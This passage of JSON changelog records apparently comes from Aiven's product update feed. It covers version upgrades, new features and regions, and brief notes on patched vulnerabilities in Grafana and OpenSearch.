{"_createdAt":"2022-10-27T09:09:54Z","_i18n_lang":"en","_id":"a8d0d4cf-6dc3-4e2c-a44e-b8f24c96f9da","_rev":"chYcdg0OBeHzQFNhareE3y","_type":"changelog","_updatedAt":"2022-10-27T09:09:54Z","changeType":"","description":[{"_key":"a0afcd0e-a9be-4a4a-a922-8a85b8b008fc","_type":"block","children":[{"_key":"03d75f0b-f50c-4a0a-97e5-636698e62aab","_type":"span","marks":[],"text":"Please see the "},{"_key":"933a6511-d3a2-4e33-bef2-a24a5f828706","_type":"span","marks":["m647273877017"],"text":"Changelog"},{"_key":"172fabe9-d008-4bbf-9e3c-2cec42a94ecc","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m647273877017","_type":"link","href":"https://raw.githubusercontent.com/antirez/redis/4.0/00-RELEASENOTES"}],"style":"normal"}],"publishedAt":"2018-08-13T00:00:00.000Z","tags":[{"_key":"f73c96de-46b4-4247-8485-113121a0f611","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Updated Redis to minor version 4.0.11"} {"__i18n_lang":"en","_createdAt":"2022-12-13T08:55:48Z","_id":"a8f427aa-1848-48fe-83c2-38ae9a644c3c","_rev":"dx9VpnpAU1u8lA4yGgJAaM","_type":"changelog","_updatedAt":"2022-12-13T08:55:48Z","changeType":"improved","description":[{"_key":"dd5d3983c93a","_type":"block","children":[{"_key":"e8bec423967c0","_type":"span","marks":[],"text":"We've updated the customer chat experience in Aiven Console. If you need to get in touch with our support team, you can "},{"_key":"e8bec423967c1","_type":"span","marks":["8a0da08542eb"],"text":"create a ticket in the Support Center"},{"_key":"e8bec423967c2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"8a0da08542eb","_type":"link","href":"https://docs.aiven.io/docs/platform/howto/project-support-center.html"}],"style":"normal"}],"publishedAt":"2022-12-01T08:54:00.000Z","tags":[{"_key":"13d16186eee6","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"tool"}],"title":"Customer chat experience has been updated in Aiven Console"} {"_createdAt":"2022-10-27T09:06:02Z","_i18n_lang":"en","_id":"a8f6e596-7364-4a49-b3f5-7c1713e7a87f","_rev":"GNtcCQgxf3P3DqpLt1jUIP","_type":"changelog","_updatedAt":"2022-10-27T09:06:02Z","changeType":"","publishedAt":"2020-09-08T00:00:00.000Z","tags":[{"_key":"b287334f-aa9d-4746-ac8e-4db5248fd010","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's TimescaleDB extension has been updated to version 1.7.4."} {"_createdAt":"2022-10-27T09:09:41Z","_i18n_lang":"en","_id":"a9886c86-59a1-462c-84d2-e54708c64406","_rev":"Dn65xz5Z1k22g7BhlztMGi","_type":"changelog","_updatedAt":"2022-10-27T09:09:41Z","changeType":"","description":[{"_key":"41f6911e-4bc8-4f59-bbbe-1dfaafcdcdac","_type":"block","children":[{"_key":"3fa75361-8e09-40eb-b58c-fb4f8efbb00e","_type":"span","marks":[],"text":"Please see the "},{"_key":"a559362a-ad01-443c-84d0-4e3dad5b5f3d","_type":"span","marks":["m17588632444223"],"text":"help article"},{"_key":"78b98a5e-9370-437f-b557-50b8b282e167","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m17588632444223","_type":"link","href":"https://help.aiven.io/elasticsearch/automatic-adjustment-of-elasticsearch-index-replication-factors"}],"style":"normal"}],"publishedAt":"2018-09-18T00:00:00.000Z","tags":[],"title":"Aiven for Elasticsearch automatically adjusts index replication factor on multi-node services to minimize risk of data loss"} {"__i18n_lang":"en","_createdAt":"2022-11-22T10:32:16Z","_id":"a9a022d2-3b38-4e14-a43d-10802ca15491","_rev":"4REy1yLW2KYGlBbGorMFvp","_type":"changelog","_updatedAt":"2023-01-26T11:31:10Z","changeType":"improved","description":[{"_key":"3ea4b640c1b3","_type":"block","children":[{"_key":"a7fb53d7c9bf0","_type":"span","marks":["strong"],"text":"max_connections"},{"_key":"b8c623403973","_type":"span","marks":[],"text":" for your Aiven for MySQL service is now calculated based on the amount of RAM that your service plan covers, no longer on the amount of unused memory. The value of "},{"_key":"6757b50388a8","_type":"span","marks":["strong"],"text":"max_connections"},{"_key":"2c0224c79aaf","_type":"span","marks":[],"text":" is fixed per service plan and can be committed to since it doesn't change with memory logic modifications. For more information, see "},{"_key":"5489d73db5b4","_type":"span","marks":["2042212ef97b"],"text":"MySQL max_connections"},{"_key":"30cc7a3c564e","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"2042212ef97b","_type":"link","href":"https://docs.aiven.io/docs/products/mysql/concepts/max-number-of-connections.html"}],"style":"normal"}],"publishedAt":"2022-11-07T10:32:00.000Z","tags":[{"_key":"c1fb704c9237","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"}],"title":"max_connections for Aiven for MySQL is now calculated based on the RAM in your service plan."} {"__i18n_lang":"en","_createdAt":"2023-06-13T06:49:36Z","_id":"a9ac9f85-4a7b-43cc-8e11-7c76727fa469","_rev":"tW7kMBSHIbCIaN9dzHa24J","_type":"changelog","_updatedAt":"2023-06-13T06:49:36Z","changeType":"improved","description":[{"_key":"70bfc0fb567e","_type":"block","children":[{"_key":"30a6fb0945e80","_type":"span","marks":[],"text":"Aiven's OpenSearch Connector for Apache Kafka has been updated to version 3.1.0."}],"markDefs":[],"style":"normal"},{"_key":"f12e40a2f748","_type":"block","children":[{"_key":"9c3f9ef3b4d10","_type":"span","marks":["strong"],"text":"Important: "},{"_key":"9c3f9ef3b4d11","_type":"span","marks":[],"text":"This connector version includes breaking changes on the code level. If you have manually created data stream integrations using the previous version, these changes may impact your existing integrations."}],"markDefs":[],"style":"normal"},{"_key":"bbdaedfb0e5b","_type":"block","children":[{"_key":"154009f8e3aa0","_type":"span","marks":[],"text":"Key highlights:"}],"markDefs":[],"style":"normal"},{"_key":"6d2c98b91c23","_type":"block","children":[{"_key":"77a1abe69ba6","_type":"span","marks":["strong"],"text":"Dead-letter Queue support:"},{"_key":"9427c0c26890","_type":"span","marks":[],"text":" This release introduces support for the Dead-letter queue, which captures events that failed to be indexed in OpenSearch. The Dead-letter queue enhances fault tolerance and error handling by providing a separate queue for troubleshooting and analyzing indexing failures. For more information, see "},{"_key":"84fbfff664c01","_type":"span","marks":["807bad675f24"],"text":"Error Handling in Connect"},{"_key":"84fbfff664c02","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"807bad675f24","_type":"link","href":"https://cwiki.apache.org/confluence/display/KAFKA/KIP-298%3A+Error+Handling+in+Connect#KIP298:ErrorHandlinginConnect-DeadLetterQueue(forSinkConnectorsonly)"}],"style":"normal"},{"_key":"c31a62f4c11e","_type":"block","children":[{"_key":"2e3fb8fd0b84","_type":"span","marks":["strong"],"text":"Configuration settings updated:"},{"_key":"7a33003489b7","_type":"span","marks":[],"text":" The configuration settings related to handling rejected records and version conflicts in OpenSearch have been updated. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"aba62a9f422c","_type":"block","children":[{"_key":"ed5d5cc5c94b0","_type":"span","marks":[],"text":"For more information, see "},{"_key":"ed5d5cc5c94b1","_type":"span","marks":["6fdd2a6ff30f"],"text":"release notes"},{"_key":"ed5d5cc5c94b2","_type":"span","marks":[],"text":" and "},{"_key":"ed5d5cc5c94b3","_type":"span","marks":["ad9af16657bc"],"text":"OpenSearch Sink Connector Configuration Options"},{"_key":"ed5d5cc5c94b4","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"6fdd2a6ff30f","_type":"link","href":"https://github.com/aiven/opensearch-connector-for-apache-kafka/releases/tag/v3.0.0"},{"_key":"ad9af16657bc","_type":"link","href":"https://github.com/aiven/opensearch-connector-for-apache-kafka/blob/main/docs/opensearch-sink-connector-config-options.rst"}],"style":"normal"},{"_key":"57d16956d8ee","_type":"block","children":[{"_key":"716097bfc17e","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-06-07T06:43:00.000Z","tags":[{"_key":"9b2b570561f0","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven's OpenSearch Connector for Apache Kafka version 3.1.0"} {"_createdAt":"2022-10-27T09:10:31Z","_i18n_lang":"en","_id":"aa9e7cb8-fb2d-42e4-b02d-d1de591644ed","_rev":"Cf2WlCE8X5IGBBi7ld1Lu6","_type":"changelog","_updatedAt":"2022-10-27T09:10:31Z","changeType":"","description":[{"_key":"a45a3750-4faa-455c-8061-402bd04630f8","_type":"block","children":[{"_key":"83a0a1f8-2f97-428b-aca6-7b42019f312a","_type":"span","marks":[],"text":"All new Elasticsearch services will be using these new versions and older customers will be upgraded to it over time."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-03-16T00:00:00.000Z","tags":[],"title":"Aiven for Elasticsearch has been upgraded to versions 5.6.8 and 6.2.2"} {"_createdAt":"2022-10-27T09:04:54Z","_i18n_lang":"en","_id":"aaf8e5bb-76b4-43d3-9b04-bc246e82da4d","_rev":"KIlpVp44L6B7auDNL66qYC","_type":"changelog","_updatedAt":"2022-10-27T09:04:54Z","changeType":"","description":[{"_key":"0eb98134-ae87-4037-864e-1b3d22680437","_type":"block","children":[{"_key":"9f16784f-a7e4-4b30-a587-b6ae516d3750","_type":"span","marks":[],"text":"See "},{"_key":"0038e7a2-7a1e-4087-8714-76d68990b72c","_type":"span","marks":["m14260382291482"],"text":"Open Distro for Elasticsearch"},{"_key":"cf1c5ef8-b644-4635-9a58-5c37e4fdff71","_type":"span","marks":[],"text":" for more information."}],"markDefs":[{"_key":"m14260382291482","_type":"link","href":"https://opendistro.github.io/for-elasticsearch/features/SQL%20Support.html"}],"style":"normal"}],"publishedAt":"2021-03-01T00:00:00.000Z","tags":[],"title":"Open Distro for Elasticsearch SQL plugin is now included in Aiven for Elasticsearch"} {"_createdAt":"2022-10-27T09:02:47Z","_i18n_lang":"en","_id":"ab077b94-38e7-4a2a-9b08-e0b1f046d5cb","_rev":"KIlpVp44L6B7auDNL65xlo","_type":"changelog","_updatedAt":"2022-10-27T09:02:47Z","changeType":"","description":[{"_key":"89c4d12a-e233-4eba-9430-2ded4a5bc46a","_type":"block","children":[{"_key":"f2837971-2cfd-45ad-aed4-97e273ade3e5","_type":"span","marks":[],"text":"Please see the "},{"_key":"2f65ff80-413d-44da-82a8-bc807406a9d8","_type":"span","marks":["m4167666455503"],"text":"Changelog"},{"_key":"041d88ab-cb4b-43bc-b174-46bb1ecdead8","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m4167666455503","_type":"link","href":"https://raw.githubusercontent.com/redis/redis/6.2/00-RELEASENOTES"}],"style":"normal"}],"publishedAt":"2022-05-02T00:00:00.000Z","tags":[{"_key":"67425393-3fbb-4cb9-ab87-d62dac83cb0a","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Updated Redis to version 6.2.7"} {"_createdAt":"2022-10-27T09:04:22Z","_i18n_lang":"en","_id":"ac788797-5df3-45e4-9ea9-d8dc4efd7b92","_rev":"zF7BMhNhvYpWtPMfHNMmYM","_type":"changelog","_updatedAt":"2022-10-27T09:04:22Z","changeType":"","description":[{"_key":"9c380cae-db96-4861-aa0e-e260af2ebcad","_type":"block","children":[{"_key":"2b4cb54c-694a-4c83-9923-227a612621e4","_type":"span","marks":[],"text":"Please see the "},{"_key":"84941940-fbe8-4763-ab4c-b6abd2bdfa6e","_type":"span","marks":["m13454945953063"],"text":"Release Notes"},{"_key":"7653bf99-4769-459e-b872-0fe9796bfa74","_type":"span","marks":[],"text":" for what's new in this release. This update contains breaking changes related to MySQL connector, please check the description "},{"_key":"42b09fc6-6f2a-4c15-9812-849b0df9141d","_type":"span","marks":["m14745419029840"],"text":"here"},{"_key":"a29f4391-970c-4c6e-9b50-9dcf422cd10d","_type":"span","marks":[],"text":", "},{"_key":"070a7c47-a3d0-413d-92a1-876b6aaed6b7","_type":"span","marks":["m7686942867642"],"text":"here"},{"_key":"275c2cfd-b312-429e-b30b-f411d9a117a7","_type":"span","marks":[],"text":" and "},{"_key":"f77a4619-b5ad-4729-bcc6-8e31d979f9f6","_type":"span","marks":["m13392454926267"],"text":"here"},{"_key":"e9ceca84-a047-48d2-8316-ad9d86ca1f22","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m13454945953063","_type":"link","href":"https://debezium.io/releases/1.5/release-notes"},{"_key":"m14745419029840","_type":"link","href":"https://debezium.io/releases/1.4/release-notes#breaking_changes"},{"_key":"m7686942867642","_type":"link","href":"https://debezium.io/releases/1.5/release-notes#breaking_changes_4"},{"_key":"m13392454926267","_type":"link","href":"https://debezium.io/releases/1.5/release-notes#breaking_changes_5"}],"style":"normal"}],"publishedAt":"2021-05-12T00:00:00.000Z","tags":[{"_key":"2d98ec56-25d9-4c78-a31d-622160ef9571","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Kafka Connect Debezium 1.5.0.Final is now available"} {"_createdAt":"2022-10-27T09:07:58Z","_i18n_lang":"en","_id":"ad1a53a6-77fe-47db-a9e2-59d93189e2e2","_rev":"WYf15BwQWb3V4yHfbxP0pn","_type":"changelog","_updatedAt":"2022-10-27T09:07:58Z","changeType":"","description":[{"_key":"5be68843-8f52-445c-9f34-dd656153a021","_type":"block","children":[{"_key":"93c6f2c9-20c6-4218-85dc-b94df0407fbf","_type":"span","marks":[],"text":"Please see "},{"_key":"ac7e29f6-986f-4b8f-bbad-1048a6b7c372","_type":"span","marks":["m11921764835802"],"text":"the documentation"},{"_key":"092cd4e7-6c3e-44f4-bbd8-434f2786ae74","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m11921764835802","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-transforms"}],"style":"normal"}],"publishedAt":"2019-09-11T00:00:00.000Z","tags":[{"_key":"9bd5c5af-9c2c-4de4-b7ad-b65fc108d856","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven collection of Single Message Transformations (SMTs) for Kafka Connect version 0.1.0 has been added"} {"_createdAt":"2022-10-27T09:01:53Z","_i18n_lang":"en","_id":"ad91d034-a9ef-4f12-a5f7-861173d63700","_rev":"pnOvEyahjeT2Gte9fWgAaB","_type":"changelog","_updatedAt":"2023-01-26T11:30:23Z","changeType":"new","description":[{"_key":"bb75f502-2174-4ac4-9d30-0bfcb6d53903","_type":"block","children":[{"_key":"736a44b5-ce6e-42f3-8b14-16de456c86e2","_type":"span","marks":[],"text":"Aiven for OpenSearch 2 comes with many advancements and improvements, including new Machine learning capabilities, new Notification plugins, and further performance improvements with Apache Lucene 9.1. Seamlessly upgrade to OpenSearch 2 via the Aiven Console, Aiven API, Aiven CLI, or Terraform. Aiven for OpenSearch 1 will still receive bug fixes and the latest updates. You can choose to stay with OpenSearch 1 or upgrade to OpenSearch 2. For more information, see "},{"_key":"3a630d5c-efa3-4cf5-a74b-9d70054ef036","_type":"span","marks":["m14106874759350"],"text":"release notes"},{"_key":"2c0b5723-6f6e-46f0-bffb-0c41a2547c26","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m14106874759350","_type":"link","href":"https://github.com/opensearch-project/opensearch-build/tree/main/release-notes"}],"style":"normal"}],"publishedAt":"2022-10-06T00:00:00.000Z","tags":[{"_key":"ab578223-8602-4876-88ce-1bcaf779fc5e","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"service"}],"title":"Aiven for OpenSearch 2 is now available on the Aiven platform"} {"_createdAt":"2022-10-27T09:03:29Z","_i18n_lang":"en","_id":"adae79de-5901-4ddd-9e45-7d40c03229ee","_rev":"rHrbN7cdfRjM6CvZf3JAWm","_type":"changelog","_updatedAt":"2022-10-27T09:03:29Z","changeType":"","description":[{"_key":"8d8a2f13-e970-4e76-9541-052655b54b7a","_type":"block","children":[{"_key":"bd0942a0-f624-4192-8cf9-8af505474216","_type":"span","marks":[],"text":"See "},{"_key":"85fb0467-930d-41fe-a3c1-d5d98988b78c","_type":"span","marks":["m2288653232364"],"text":"release notes"},{"_key":"210e4a73-a43e-4789-8d6d-480a192740b1","_type":"span","marks":[],"text":" for more details about the PostgreSQL minor releases."}],"markDefs":[{"_key":"m2288653232364","_type":"link","href":"https://www.postgresql.org/docs/release/"}],"style":"normal"}],"publishedAt":"2021-11-11T00:00:00.000Z","tags":[{"_key":"d81e2abb-f90e-4aaf-b1f2-5b77ef610c34","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL updated to latest minor releases 13.5, 12.9, 11.14, and 10.19"} {"_createdAt":"2022-10-27T09:03:55Z","_i18n_lang":"en","_id":"ae2153de-2c36-4f20-b70a-f2d51d4dff6c","_rev":"KIlpVp44L6B7auDNL66JRY","_type":"changelog","_updatedAt":"2022-10-27T09:03:55Z","changeType":"","description":[{"_key":"9075e08e-7fcf-4561-b311-3062c804c734","_type":"block","children":[{"_key":"67a5558e-3cdf-45f4-b364-babe5b4b5f15","_type":"span","marks":[],"text":"Please see the "},{"_key":"ccb89aa8-79ac-460a-bc9d-c003367343a4","_type":"span","marks":["m15960519117333"],"text":"changelog"},{"_key":"00e2479b-c9a6-43fc-9ab0-70c5e6e65c47","_type":"span","marks":[],"text":" and "},{"_key":"baa7cbd8-b7cd-4265-9c4e-7272be005f5d","_type":"span","marks":["m6100896936148"],"text":"documentation"},{"_key":"daea61dc-54d7-4c59-87c5-5b1b0b58a492","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m15960519117333","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-s3/releases/tag/v2.12.0"},{"_key":"m6100896936148","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-s3/tree/v2.12.0"}],"style":"normal"}],"publishedAt":"2021-07-26T00:00:00.000Z","tags":[{"_key":"5e2f3613-2091-4d4e-a75a-e2849c08c7fe","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka S3 Sink Connector has been updated to version 2.12.0"} {"_createdAt":"2022-10-27T09:04:23Z","_i18n_lang":"en","_id":"ae68d31d-8e99-4fba-a49e-1d0c20283dbf","_rev":"IjlUDifCqOGnZON8gZwKO0","_type":"changelog","_updatedAt":"2022-10-27T09:04:23Z","changeType":"","description":[{"_key":"0da44ca1-0854-449f-9a56-0eb424562f0e","_type":"block","children":[{"_key":"6e949405-b994-424b-a9a2-410550c3efba","_type":"span","marks":[],"text":"Please see "},{"_key":"6ad905a3-2ee4-4d7c-9d33-8e2f0b7a4d1a","_type":"span","marks":["m16767766659510"],"text":"the documentation"},{"_key":"f8426829-8796-43a1-8159-b5fe750438f6","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m16767766659510","_type":"link","href":"https://docs.mongodb.com/kafka-connector/v1.5"}],"style":"normal"}],"publishedAt":"2021-05-12T00:00:00.000Z","tags":[{"_key":"26e73e12-974c-4261-94f7-45aac82cdc63","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"MongoDB Kafka Sink and Source connectors have been updated to version 1.5.0"} {"__i18n_lang":"en","_createdAt":"2023-09-01T07:15:08Z","_id":"aebbd401-d6a1-413d-92cc-d22430e9fe1a","_rev":"61hKAW7KknaTboWXTHevkb","_type":"changelog","_updatedAt":"2023-09-01T07:15:08Z","changeType":"new","description":[{"_key":"3bfcc08863c2","_type":"block","children":[{"_key":"dfa0eee42ae90","_type":"span","marks":[],"text":"Streamline your real-time analytics by integrating Aiven for Apache Flink® with Google BigQuery, which serves as the data sink. This integration uses the "},{"_key":"37f9b2259adc","_type":"span","marks":["c75479757be0"],"text":"BigQuery Connector for Apache Flink"},{"_key":"3184ab67f4ca","_type":"span","marks":[],"text":", making streaming and storing large datasets in Google's cloud-based data warehouse easier. You can perform this integration using either the Aiven Console or the Aiven client. For more information, see "},{"_key":"dfa0eee42ae91","_type":"span","marks":["c9da7ab63ce8"],"text":"Integrate Aiven for Apache Flink® with Google BigQuery"},{"_key":"dfa0eee42ae92","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"c9da7ab63ce8","_type":"link","href":"https://docs.aiven.io/docs/products/flink/howto/connect-bigquery"},{"_key":"c75479757be0","_type":"link","href":"https://github.com/aiven/bigquery-connector-for-apache-flink"}],"style":"normal"}],"publishedAt":"2023-08-31T07:12:00.000Z","tags":[{"_key":"8485df2d46c9","_ref":"1e5afeea-8442-4a65-84fd-5475f78e09b3","_type":"service"}],"title":"Integrate Aiven for Apache Flink® with Google BigQuery"} {"__i18n_lang":"en","_createdAt":"2023-04-12T09:37:35Z","_id":"bb824800-0aa1-4cee-add8-458488700506","_rev":"5XbIyfqcIkGlU3arGElNa2","_type":"changelog","_updatedAt":"2023-04-12T09:37:35Z","changeType":"security","description":[{"_key":"2e20e4b7994e","_type":"block","children":[{"_key":"25707a5cb7690","_type":"span","marks":[],"text":"A stored cross-site scripting (XSS) vulnerability (CVE-2023-1410) was discovered in the Graphite FunctionDescription tooltip of Grafana. The vulnerability was caused by inadequate sanitization of the Function Description value, allowing attackers to host a Graphite instance with modified Function Descriptions containing XSS payloads. "}],"markDefs":[{"_key":"74d5524079d9","_type":"link","href":"https://github.com/advisories/GHSA-qrrg-gw7w-vp76"}],"style":"normal"},{"_key":"dab74c209246","_type":"block","children":[{"_key":"e134e1abd856","_type":"span","marks":[],"text":"To address this vulnerability, we recommend upgrading your Aiven for Grafana service to version 9.3.11 by performing a maintenance update. For more information on the security fixes, see "},{"_key":"2ef51fb86997","_type":"span","marks":["b9084e31bfbb"],"text":"Grafana security release."}],"markDefs":[{"_key":"b9084e31bfbb","_type":"link","href":"https://grafana.com/blog/2023/03/22/grafana-security-release-new-versions-with-security-fixes-for-cve-2023-1410/"}],"style":"normal"}],"publishedAt":"2023-04-12T09:35:44.296Z","tags":[{"_key":"e75818e8be03","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Aiven for Grafana® version 9.3.11"} {"_createdAt":"2022-10-27T09:07:44Z","_i18n_lang":"en","_id":"bbc14e1c-58ab-4f92-8d95-7fbd6ca39c53","_rev":"dTcxLudMA3V5vz7pZEQfRl","_type":"changelog","_updatedAt":"2022-10-27T09:07:44Z","changeType":"","publishedAt":"2019-10-18T00:00:00.000Z","tags":[{"_key":"d95d3d8b-5554-4ed0-8d06-0c532f946349","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"}],"title":"The MySQL server options default_time_zone and group_concat_max_len have been added to Aiven for MySQL as advanced options."} {"_createdAt":"2022-10-27T09:10:53Z","_i18n_lang":"en","_id":"bbd536c0-7ecd-4eda-a3c2-4d56ee03685a","_rev":"ncjVtEY290Sap8rHbFwljx","_type":"changelog","_updatedAt":"2022-10-27T09:10:53Z","changeType":"","description":[{"_key":"4e7f1bb8-508e-440f-a065-517caa85f7c1","_type":"block","children":[{"_key":"f86ef49e-6f70-45c3-8a3b-61e5f64a9b84","_type":"span","marks":[],"text":"All Aiven services are now available in the new regions."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-01-17T00:00:00.000Z","tags":[{"_key":"89211771-8a70-46ee-9f59-d55a04e81d87","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"}],"title":"Added support for Google Cloud Platform (GCP) Montréal (\u003ccode\u003enorthamerica-northeast1\u003c/code\u003e), Eemshaven, Netherlands (\u003ccode\u003eeurope-west4\u003c/code\u003e) and Mumbai (\u003ccode\u003easia-south1\u003c/code\u003e) regions"} {"_createdAt":"2022-10-27T09:08:27Z","_i18n_lang":"en","_id":"bbd55fef-4c0e-4367-947e-0d7342c23d50","_rev":"ri8ZjU8zRgh6Niwltv1DIf","_type":"changelog","_updatedAt":"2022-10-27T09:08:27Z","changeType":"","description":[{"_key":"acd85696-f305-4e30-b045-968592791995","_type":"block","children":[{"_key":"d3007287-f56c-44c2-ba3e-defca4e61279","_type":"span","marks":[],"text":"Enabling this requires a separate configuration change under advanced settings."}],"markDefs":[],"style":"normal"}],"publishedAt":"2019-06-03T00:00:00.000Z","tags":[{"_key":"50dec7c0-e317-4541-a951-3ecc29c710f7","_ref":"7f18c6c3-36b9-4a4e-b168-6e1752ce4338","_type":"service"},{"_key":"fe05de10-2998-457c-a483-c752545f1be7","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"},{"_key":"2fe3f17d-b504-446f-a9b9-6f815ef2d4fe","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"},{"_key":"18efe5de-6a5c-40bc-9744-c8b5ea7be174","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Support accessing Prometheus metrics from non-private addresses with services running in the VPC"} {"_createdAt":"2022-10-27T09:02:29Z","_i18n_lang":"en","_id":"bc1101db-cbe0-464b-98bb-893cda06b7fa","_rev":"uVO3nVvSuHH0nc1h0MTRdI","_type":"changelog","_updatedAt":"2022-10-27T09:02:29Z","changeType":"","description":[{"_key":"af5a9cca-7cfd-417b-b5e1-142767107d08","_type":"block","children":[{"_key":"d48cdd0e-80a5-407b-9a9f-0a845f8d4d5c","_type":"span","marks":[],"text":"Please see the "},{"_key":"37a63fe0-7b30-461c-b1b9-e2dc62a61ef4","_type":"span","marks":["m5922599014827"],"text":"Release Notes"},{"_key":"dcea6615-be01-44d5-8121-c03e45faa12e","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m5922599014827","_type":"link","href":"https://debezium.io/releases/1.9/release-notes"}],"style":"normal"}],"publishedAt":"2022-06-07T00:00:00.000Z","tags":[{"_key":"03dd8309-6a80-4725-915f-c86999d21618","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Kafka Connect Debezium 1.9.2.Final is now available"} {"_createdAt":"2022-10-27T09:06:51Z","_i18n_lang":"en","_id":"bc446547-2849-469c-8194-cab7840ff040","_rev":"dTcxLudMA3V5vz7pZEQdkl","_type":"changelog","_updatedAt":"2022-10-27T09:06:51Z","changeType":"","publishedAt":"2020-04-22T00:00:00.000Z","tags":[{"_key":"4778901c-0195-4c4a-8592-21eb2481e887","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Fix BouncyCastle initialization in Snowflake Kafka connector 1.2.3"} {"_createdAt":"2022-10-27T09:10:03Z","_i18n_lang":"en","_id":"bc5c399f-ecb6-4756-bcba-1e010c9f5fba","_rev":"C4pC7IakZ1PpJ4LWR2B7Rd","_type":"changelog","_updatedAt":"2022-10-27T09:10:03Z","changeType":"","description":[{"_key":"a1d2f8d3-455d-49d0-8a11-7fdf2578a053","_type":"block","children":[{"_key":"3701994a-37f3-43af-b7bf-5d1579e6fb1a","_type":"span","marks":[],"text":"An optional maintenance update is available for Kafka services to allow upgrading to the new version."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-07-09T00:00:00.000Z","tags":[{"_key":"e0eb2f92-a1af-4872-89d7-ec3f9d9519e1","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Updated Datadog Agent to version 6.3.1 and enabled Kafka consumer group offset and lag metrics for Datadog"} {"_createdAt":"2022-10-27T09:07:36Z","_i18n_lang":"en","_id":"bc783a24-6238-4bd7-9c56-c9fa70b39af9","_rev":"Dn65xz5Z1k22g7BhlztK2K","_type":"changelog","_updatedAt":"2022-10-27T09:07:36Z","changeType":"","publishedAt":"2019-10-28T00:00:00.000Z","tags":[{"_key":"8e534245-6aad-44cc-998e-ee3fb97e405e","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"}],"title":"The MySQL server option innodb_ft_min_token_size has been added to Aiven for MySQL as advanced configuration option."} {"__i18n_lang":"en","_createdAt":"2023-01-25T14:50:40Z","_id":"af488722-b1a3-4e40-8e6c-b78feebfcb1c","_rev":"6wJ6OxF1mPB2I3zeflkJh1","_type":"changelog","_updatedAt":"2023-01-25T14:51:13Z","changeType":"improved","description":[{"_key":"7a53721ef953","_type":"block","children":[{"_key":"59856d5b7d9e0","_type":"span","marks":[],"text":"OpenSearch and OpenSearch Dashboards have been updated to version 1.3.7. Along with various enhancements, this release includes critical fixes for CVE-2022-38900, where a vulnerability was found in decode-URI-component 0.2.0 and affected improper input validation resulting in DoS. CVE-2022-42889, where a flaw was found in Apache Commons Text packages version 1.5 through 1.9, allowing properties to be dynamically evaluated and expanded. For more information, see "},{"_key":"59856d5b7d9e1","_type":"span","marks":["c867296bf4f0"],"text":"OpenSearch release notes"},{"_key":"59856d5b7d9e2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"c867296bf4f0","_type":"link","href":"https://github.com/opensearch-project/opensearch-build/blob/main/release-notes/opensearch-release-notes-1.3.7.md"}],"style":"normal"}],"publishedAt":"2022-12-23T14:49:00.000Z","tags":[{"_key":"5d995a42c9cf","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"service"}],"title":"OpenSearch and OpenSearch Dashboards have been updated to version 1.3.7"} {"__i18n_lang":"en","_createdAt":"2023-09-20T19:33:37Z","_id":"af4f2339-5ede-47b8-ac38-82c05176a445","_rev":"rpwBSMa1i11HwZnbWptFMj","_type":"changelog","_updatedAt":"2023-09-20T19:33:37Z","description":[{"_key":"715f86de6952","_type":"block","children":[{"_key":"5bb80fefa29b0","_type":"span","marks":[],"text":"Version 4.8.0 supports organization groups, which provide an easier way to manage access to projects and services."}],"markDefs":[],"style":"normal"},{"_key":"0d58734bbc1b","_type":"block","children":[{"_key":"649235460c1e0","_type":"span","marks":[],"text":"The following properties have also been added in this 